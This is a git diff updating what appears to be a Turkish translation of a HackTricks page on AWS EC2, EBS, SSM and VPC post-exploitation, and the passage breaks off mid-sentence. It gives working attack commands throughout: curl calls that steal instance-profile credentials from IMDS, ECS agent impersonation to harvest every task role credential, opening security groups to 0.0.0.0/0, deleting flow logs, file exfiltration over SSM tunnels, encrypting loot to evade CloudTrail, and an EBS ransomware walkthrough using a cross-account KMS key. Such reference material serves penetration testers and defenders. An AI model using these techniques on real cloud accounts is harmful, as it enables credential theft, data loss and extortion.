diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 5f7fdb7ad..9cc16477e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,10 +12,10 @@ Daha fazla bilgi için bakınız: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **bir VPC içindeki EC2 instances için gelen ve giden trafiği çoğaltır** ve instance'ların kendilerine herhangi bir şey yüklemeye gerek olmadan.\ -Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir hedefe gönderilir. Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve bundan hassas bilgi elde edebilir: +VPC traffic mirroring, herhangi bir şey yüklemeye gerek kalmadan **VPC içindeki EC2 instance'ların gelen ve giden trafiğini çoğaltır**. Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir yere gönderilir.\ +Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgileri elde edebilir: -For more information check this page: +Daha fazla bilgi için şu sayfaya bakınız: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak, içeriğinin ne olduğunu kontrol etmenin diğer bir yolu da **bir AMI oluşturup ondan yeni bir instance çalıştırmaktır (hatta kendi hesabınızda bile)**: +Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için çeşitli yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak içeriğinin ne olduğunu kontrol etmenin bir diğer yolu, **bir AMI oluşturup ondan yeni bir instance çalıştırmaktır (hatta kendi hesabınızda bile)**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir; bu yüzden bunları kontrol etmek bu bilgileri açığa çıkaracaktır.\ -Eğer bir **volume without a snapshot** bulursanız şu seçenekleriniz var: **Create a snapshot** yapıp aşağıdaki işlemleri gerçekleştirmek veya hesabın içinde bir instance'a **mount it in an instance**: +**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir; bu yüzden bunları kontrol etmek bu bilgileri ortaya çıkarabilir.\ +Eğer bir **volume without a snapshot** bulursanız şunları yapabilirsiniz: **Create a snapshot** oluşturup aşağıdaki eylemleri gerçekleştirebilir veya hesabın içinde bir instance'a **mount it in an instance**. {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını değiştirmeden tam çevrimdışı adli analiz veya veri hırsızlığına olanak verir. +EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını dokunmadan tam çevrimdışı adli inceleme veya veri hırsızlığı yapılmasına olanak sağlar. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a takın ve snapshot olmadan canlı verileri çekmek için read-only olarak mount edin. Hedef volume zaten aynı AZ içinde Multi-Attach etkinse kullanışlıdır. +io1/io2 Multi-Attach volume'ü ikinci bir instance'a bağlayın ve snapshot olmadan canlı veriyi çekmek için salt okunur (read-only) olarak mount edin. Hedef volume zaten aynı AZ içinde Multi-Attach etkinse faydalıdır. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Bir EC2 Instance Connect Endpoint oluşturun, ingress'i yetkilendirin ve yönetilen bir tünel üzerinden özel instance'lara erişmek için geçici SSH anahtarları enjekte edin. Public portları açmadan hızlı lateral movement yolları sağlar. +EC2 Instance Connect Endpoint oluşturun, ingress izni verin ve yönetilen bir tünel üzerinden özel instance'lara erişmek için geçici SSH anahtarları enjekte edin. Bu, genel portları açmadan hızlı lateral hareket yolları sağlar. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Hedef ENI’nin ikincil private IP’sini saldırgan kontrolündeki bir ENI’ye taşıyarak IP ile allowlisted edilmiş güvenilir hostları taklit edin. Bu, belirli adreslere bağlı iç ACL'leri veya SG kurallarını atlamayı sağlar. +Kurbandan alınan bir ENI'nin ikincil private IP'sini saldırgan kontrollü bir ENI'ye taşıyarak IP ile izin verilen güvenilir host'ları taklit edin. Bu, belirli adreslere bağlı iç ACL'leri veya SG kurallarını atlamayı sağlar. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Hedef instance'tan bir Elastic IP'yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir public IP'lerden geliyormuş gibi görünen giden bağlantılar başlatın. +Hedef instance'dan bir Elastic IP'yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir genel IP'lerden geliyormuş gibi görünen giden bağlantılar başlatın. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Eğer bir security group kuralı customer-managed prefix list'e referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'yi değiştirmeden bağlı tüm SG kurallarında erişimi sessizce genişletir. +Eğer bir security group kuralı müşteri tarafından yönetilen bir prefix listesine referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'yi doğrudan değiştirmeden tüm bağımlı SG kurallarında erişimi sessizce genişletir. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -İzol edilmiş subnet'lerden giden erişimi geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links'i kullanmak, eksik IGW/NAT kontrollerini veri sızdırma için atlamayı sağlar. +Yalıtılmış subnet'lerden giden erişimi yeniden kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links kullanmak, data exfiltration için eksik IGW/NAT kontrollerini atlamayı sağlar. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group'lara inbound kuralları ekleyebilir (örneğin, 0.0.0.0/0'dan tcp:80'e izin vermek), böylece iç servisleri public Internet'e veya yetkisiz ağlara açar. +ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group'lara inbound kuralları ekleyebilir (örneğin 0.0.0.0/0'dan tcp:80'e izin vermek), böylece iç servisleri Genel İnternet'e veya yetkisiz diğer ağlara açar. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnet’in Network ACLs (NACLs) öğelerini değiştirerek bunları çok daha izin verici hale getirebilir — örneğin kritik portlarda 0.0.0.0/0'e izin vererek — tüm subnet aralığını İnternet'e veya yetkisiz ağ segmentlerine açar. Örnek başına uygulanan Security Groups'un aksine, NACLs subnet seviyesinde uygulanır; bu yüzden kısıtlayıcı bir NACL'i değiştirmek, erişimi çok daha fazla hosta açarak çok daha büyük bir etki alanına sahip olabilir. +ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnet'in Network ACLs (NACLs) yapılandırmasını çok daha izin verici hale getirebilir — örneğin kritik portlarda 0.0.0.0/0'e izin vererek — böylece tüm subnet aralığını Internet'e veya yetkisiz ağ segmentlerine açar. Per-instance olarak uygulanan Security Groups'un aksine, NACLs subnet seviyesinde uygulanır; bu yüzden kısıtlayıcı bir NACL'i değiştirmek, çok daha fazla hosta erişimi sağlayarak çok daha geniş bir etki alanı yaratabilir. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan kritik altyapı kaynaklarını ve yapılandırmaları silebilir — örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes veya attachments, security groups veya kurallar, ENIs/network endpoints, route tables, gateways veya managed endpoints. Bu, anında hizmet kesintisine, veri kaybına ve adli kanıtların kaybolmasına yol açabilir. +ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan, örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes veya attachments, security groups veya rules, ENIs/network endpoints, route tables, gateways veya managed endpoints gibi kritik altyapı kaynaklarını ve yapılandırmaları silebilir. Bu, anında hizmet kesintisine, veri kaybına ve adli delil kaybına neden olabilir. One example is deleting a security group: @@ -140,7 +140,7 @@ aws ec2 delete-security-group \ ### VPC Flow Logs Cross-Account Exfiltration -VPC Flow Logs'u saldırgan kontrolündeki bir S3 bucket'a yönlendirerek ağ meta verilerini (source/destination, ports) kurban hesabı dışında uzun süreli keşif için sürekli olarak toplayabilirsiniz. +VPC Flow Logs'u, uzun süreli keşif için hedef hesabın dışında saldırganın kontrolündeki bir S3 bucket'a yönlendirerek ağ meta verilerini (source/destination, ports) sürekli toplayın. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,54 +150,58 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Bir EC2'yi çıkış trafiğine kapatsanız bile, yine de **exfil via DNS** yapabilir. +Bir EC2'yi dışarı çıkış trafiğine kapatsanız bile, yine de **exfil via DNS** yapabilir. - **VPC Flow Logs bunu kaydetmez**. -- AWS DNS loglarına erişiminiz yoktur. -- Bunu etkisizleştirmek için "enableDnsSupport"u false olarak ayarlayın: +- AWS DNS loglarına erişiminiz yok. +- Bunu devre dışı bırakmak için "enableDnsSupport"u false olarak ayarlayın: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Saldırgan, kendi kontrolündeki bir hesabın API endpoint'lerini çağırabilir. Cloudtrail bu çağrıları loglar ve saldırgan exfiltrate edilen veriyi Cloudtrail loglarında görebilir. +Saldırgan, kendi kontrolündeki bir hesabın API endpoint'lerini çağırabilir. Cloudtrail bu çağrıları kaydeder ve saldırgan exfiltrate edilmiş veriyi Cloudtrail loglarında görebilir. ### Open Security Group -Aşağıdaki gibi portları açarak ağ servislerine daha fazla erişim sağlayabilirsiniz: +Aşağıdaki gibi portları açarak network servislerine daha fazla erişim elde edebilirsiniz: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Bir EC2 instance'ı çalıştırıp onu ECS instance'larını çalıştırmak için kayıt ederek ECS instance'larının verilerini çalmak mümkündür. +It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -Bir EC2 container instance üzerinde çalışan herhangi bir ECS task'ının içine yapılan bir compromise, tipik olarak host rolüne ve o node'daki diğer tüm task'larla ilişkili IAM rollere pivot yapmak için yeterlidir. Çünkü ECS-on-EC2 için **görev izolasyonu yoktur**, her task varsayılan olarak EC2 Instance Metadata Service (IMDS)'i sorgulayabilir, container instance profilini çalabilir ve ardından kontrol plane ile ECS agent'in kullandığı aynı WebSocket protokolüyle (the **ECScape** primitive) konuşarak o host'ta şu anda planlanmış olan her task için kimlik bilgilerini talep edebilir. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses. +On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the **instance profile**, it can impersonate the agent over ACS and receive **every task role credential** on that host, including **task execution role** credentials that are not exposed via the metadata endpoint. #### Attack chain -1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. +1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent. ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect. +2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`. +3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access. + +**Find the PoC in ** #### IMDS reachability with IMDSv2 + hop limit 1 -IMDSv2'yi `HttpTokens=required` ve `HttpPutResponseHopLimit=1` ile ayarlamak yalnızca ekstra bir hop'ın (Docker bridge) arkasında kalan task'ları engeller. Diğer ağ modları Nitro controller ile hâlâ bir hop içinde kalır ve yanıt alır: +Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses: | ECS network mode | IMDS reachable? | Reason | | --- | --- | --- | -| `awsvpc` | ✅ | Her task kendi ENI'sini alır ve bu hâlâ IMDS'e bir hop uzaklıkta olduğundan token'lar ve metadata yanıtları başarıyla ulaşır. | -| `host` | ✅ | Task'lar host namespace'ini paylaşır, bu yüzden EC2 instance ile aynı hop uzaklığını görürler. | -| `bridge` | ❌ | Yanıtlar Docker bridge üzerinde sonlanır çünkü o ekstra hop hop limitini tüketir. | +| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. | +| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. | +| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. | Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers. @@ -213,7 +217,7 @@ Latacora even released [Terraform validation code](https://github.com/latacora/e Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster. -### VPC flow logs'ı kaldırma +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -223,40 +227,40 @@ Gerekli izinler: - `ssm:StartSession` -Komut yürütmenin yanı sıra, SSM trafik tünellemesine izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir. -Bunun yararlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel EKS cluster'ına pivoting yapmaktır. +Komut yürütmenin yanı sıra, SSM traffic tunneling'e izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir. +Bunun faydalı olduğu senaryolardan biri, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'a pivot yapmaktır. > Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. SessionManagerPlugin'i makinenize yükleyin -2. Aşağıdaki komutla Bastion EC2'ye giriş yapın: +1. SessionManagerPlugin'i makinenize kurun +2. Aşağıdaki komutu kullanarak Bastion EC2'ye giriş yapın: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2 için AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script ile alın +3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script'i ile Bastion EC2'nin AWS geçici kimlik bilgilerini alın 4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın 5. Bastion EC2 olarak EKS'e giriş yapın: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost`'a işaret edecek şekilde güncelle. -7. Aşağıdaki şekilde bir SSM tunnel oluşturun: +6. `server` alanını `$HOME/.kube/config` dosyasında `https://localhost`'a işaret edecek şekilde güncelleyin +7. Aşağıdaki gibi bir SSM tüneli oluşturun: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS kümesine erişebilirsiniz: +8. `kubectl` aracından gelen trafik artık SSM tüneli üzerinden Bastion EC2 aracılığıyla yönlendiriliyor ve aşağıdaki komutu çalıştırarak kendi makinenizden özel EKS kümesine erişebilirsiniz: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Not: SSL bağlantıları `--insecure-skip-tls-verify ` bayrağını (veya K8s audit araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafik güvenli AWS SSM tüneli üzerinden tünellendiğinden, herhangi bir MitM saldırısından korunursunuz. +Not: SSL bağlantıları, `--insecure-skip-tls-verify ` bayrağını (veya K8s audit araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tunnel üzerinden tünellendiğini göz önünde bulundurursanız, her türlü MitM saldırısından güvendesiniz. -Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Rastgele domainler ve portlar ayarlayarak herhangi bir diğer AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz. +Son olarak, bu teknik özel EKS cluster'larını hedeflemekle sınırlı değildir. İstediğiniz domainleri ve portları ayarlayarak herhangi bir diğer AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz. --- -#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Eğer yalnızca EC2 instance'ından yerel hostunuza tek bir TCP portunu yönlendirmeniz gerekiyorsa `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekmez): +If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ @@ -265,22 +269,22 @@ aws ssm start-session --target i-0123456789abcdef0 \ ``` The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. -Common use cases: +Yaygın kullanım durumları: * **File exfiltration** -1. Instance üzerinde exfiltrate etmek istediğiniz dizini işaret eden hızlı bir HTTP sunucusu başlatın: +1. Instance üzerinde, exfiltrate etmek istediğiniz dizini işaret eden hızlı bir HTTP sunucusu başlatın: ```bash python3 -m http.server 8000 ``` -2. İş istasyonunuzdan dosyaları SSM tüneli üzerinden alın: +2. Çalışma istasyonunuzdan dosyaları SSM tüneli üzerinden alın: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **İç ağ web uygulamalarına erişim (e.g. Nessus)** +* **İç web uygulamalarına erişim (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -288,18 +292,18 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -İpucu: Delilleri exfiltrating etmeden önce sıkıştırıp şifreleyin, böylece CloudTrail açık metin içeriğini kaydetmez: +İpucu: CloudTrail clear-text içeriği kaydetmesin diye delilleri exfiltrating etmeden önce sıkıştırıp şifreleyin: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### AMI Paylaşımı +### AMI Paylaş ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Kamuya açık ve özel AMIs içinde hassas bilgileri arama +### Genel veya özel AMI'lerde hassas bilgileri arama -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMIs'den instance'lar başlatma, bunların volume'larını mount etme ve potansiyel secrets veya hassas veriler için tarama süreçlerini otomatikleştirir. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **genel veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMI'lerden instance'ları başlatma, bunların volume'larını bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemlerini otomatikleştirir. ### EBS Snapshot Paylaşımı ```bash @@ -307,9 +311,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kavram kanıtı. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bakılırsa Ransomware Management Service (RMS) olarak yeniden adlandırılmalı. +S3 post-exploitation notlarında gösterilen Ransomware gösterimine benzer bir PoC. KMS, farklı AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bakarak Ransomware Management Service (RMS) olarak yeniden adlandırılmalı. -Önce 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnek için AWS'in anahtar verisini benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verisini AWS'nin kontrolü dışında tutardı. Anahtar politikasını, herhangi bir AWS account Principal'ın anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırılmıştı. +Öncelikle 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnekte AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'in kontrolü dışında tutardı. Key politikasını, herhangi bir AWS account Principal'ın anahtarı kullanmasına izin verecek şekilde değiştirin. Bu key politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırıldı. ``` { "Version": "2012-10-17", @@ -401,7 +405,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer ] } ``` -Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilme yeteneğine izin vermesi amacıyla aşağıdakilerin etkinleştirilmesini gerektirir: +Anahtar politika kuralının bir EBS hacmini şifrelemek için kullanılabilmesine izin vermek üzere aşağıdakilerin etkinleştirilmesi gerekir: - `kms:CreateGrant` - `kms:Decrypt` @@ -409,21 +413,21 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilme - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Artık kullanılacak genel erişime açık anahtarla. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 instance'ları bulunan bir 'victim' hesabını kullanabiliriz. Bu 'victim' hesabın EBS hacimleri şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ele geçirildiği varsayımı altında gerçekleşir. +Şimdi kullanılacak herkese açık anahtarımız var. Bazı şifrelenmemiş EBS hacimleri bağlı birkaç EC2 instance'ı bulunan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri şifreleme hedefimizdir; bu saldırı yüksek ayrıcalıklı bir AWS hesabının ihlali varsayımı altındadır. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 ransomware örneğine benzer şekilde. Bu saldırı, eklenmiş EBS hacimlerinin snapshots kullanılarak kopyalarını oluşturacak, 'attacker' hesabından genel erişime açık anahtarı yeni EBS hacimlerini şifrelemek için kullanacak, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve en son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot'larını alarak kopyalarını oluşturacak, 'saldırgan' hesabından herkese açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve son olarak yeni şifreli EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Bunun sonucu olarak hesapta yalnızca şifrelenmiş EBS hacimleri kalır. +Bunun sonucunda hesapta yalnızca şifrelenmiş EBS hacimleri kalır. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Ayrıca belirtmek gerekir ki, script orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurdu. Orijinal şifresiz hacimler artık yok. +Ayrıca belirtmeye değer ki, script orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurdu. Orijinal şifrelenmemiş hacimler artık yok. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Sonraki adımda, 'attacker' hesabındaki anahtar politikasına geri dönün ve anahtar politikasından 'Outside Encryption' politika kuralını kaldırın. +Son olarak, 'saldırgan' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' politika kuralını kaldırın. ```json { "Version": "2012-10-17", @@ -494,15 +498,15 @@ Sonraki adımda, 'attacker' hesabındaki anahtar politikasına geri dönün ve a ] } ``` -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Yeni ayarlanan key policy'nin yayılması için biraz bekleyin. Sonra 'victim' hesabına geri dönün ve yeni şifrelenmiş EBS volume'lardan birini attach etmeyi deneyin. Volume'u attach edebildiğinizi göreceksiniz. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the 